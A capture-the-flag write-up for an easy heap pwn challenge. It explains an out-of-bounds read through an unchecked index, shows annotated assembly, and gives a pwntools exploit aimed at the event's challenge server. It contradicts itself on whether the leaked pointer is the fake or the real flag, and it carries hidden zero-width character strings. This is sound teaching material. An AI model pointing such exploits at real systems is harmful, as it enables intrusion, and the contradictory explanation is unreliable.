← Back to Writeups
CUSTOMEasypwn

Куча подарков (Heap of Gifts)

XESXOR9/2/20263 min read
#pwn#custom#easy#heap_metadata_read#oob_array_read

Куча подарков (Heap of Gifts)

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: heap_metadata_read, oob_array_read

Summary

Task: New Year gift selection program with heap-based storage. Solution: Out-of-bounds array read via input 0 causes integer underflow in indexing formula, reading ptr_gifts[-1] which contains the real flag pointer.

Куча подарков (Heap of Gifts) — HackerLab PWN

Description

"Хотите ли вы узнать, какие подарки вас ожидают в Новом году? Без проблем, просто запустите этот файл и всё узнаете. С наступающим Новым годом! :)"

Server: 62.173.140.174:27200
Category: PWN
Difficulty: Easy
Points: 300

Binary Analysis

Protections

RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

Functionality

The program is a New Year gift selection with 4 menu options:

  1. Get a gift — generates a random gift from the list
  2. Write a message to Santa — reads a message until the * character
  3. Take gifts — allows selecting one of the received gifts
  4. Exit ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Data Structures

  • gifts[16] — array of pointers to gift strings (including fake flag C0DEBY{Et0_nE_fl@g})
  • ptr_gifts — pointer to heap array with received gifts
  • num_gift — number of received gifts
  • ptr_fgift — pointer to selected gift

Vulnerability

get_gift Function

When receiving the second gift, an interesting write occurs:

asm
mov rax, [ptr_gifts]
lea rdx, [rax - 8]        ; rdx = ptr_gifts - 8
mov rax, [gifts+0x78]     ; rax = gifts[15] (fake flag)
mov [rdx], rax            ; *(ptr_gifts - 8) = gifts[15]

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This writes a pointer to the fake flag into ptr_gifts[-1] (heap metadata area).

my_gifts Function

When selecting a gift:

asm
movzx edx, byte [rbp-0xa]  ; input (0-255)
movsx rdx, dl              ; sign extend
shl rdx, 3                 ; rdx = input * 8
sub rdx, 8                 ; rdx = input * 8 - 8
add rax, rdx               ; rax = ptr_gifts + input*8 - 8
mov rax, [rax]             ; rax = *(ptr_gifts + input*8 - 8)
mov [ptr_fgift], rax       ; ptr_fgift = rax

Vulnerability: No bounds checking for input! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

If input = 0:

  • rdx = 0 * 8 - 8 = -8
  • Reads *(ptr_gifts - 8) = pointer to the real flag!

Solution

Exploitation Steps

  1. Get the first gift (option 1)
  2. Get the second gift (option 1) — this writes the flag pointer to ptr_gifts[-1]
  3. Take gifts (option 3)
  4. Enter 0 instead of 1 or 2
  5. The program reads ptr_gifts[-1] and outputs the real flag

Exploit

python
from pwn import *

p = remote('62.173.140.174', 27200)

# Get first gift
p.recvuntil(b':')
p.sendline(b'1')
p.recvuntil(b'Enter')
p.sendline(b'')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Get second gift
p.recvuntil(b':')
p.sendline(b'1')
p.recvuntil(b'Enter')
p.sendline(b'')

# Take gifts with OOB read
p.recvuntil(b':')
p.sendline(b'3')
p.recvuntil(b'2):')
p.sendline(b'0')  # OOB read: ptr_gifts[-1]

# Get flag
data = p.recvall(timeout=5)
print(data.decode('utf-8', errors='ignore'))

Key Points

  1. Heap metadata corruption — writing to ptr_gifts[-1] corrupts heap metadata
  2. Out-of-bounds read — input of 0 allows reading beyond array bounds
  3. Integer underflow — input * 8 - 8 with input = 0 gives a negative offset
  4. Fake flag — C0DEBY{Et0_nE_fl@g} in the binary is a decoy ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍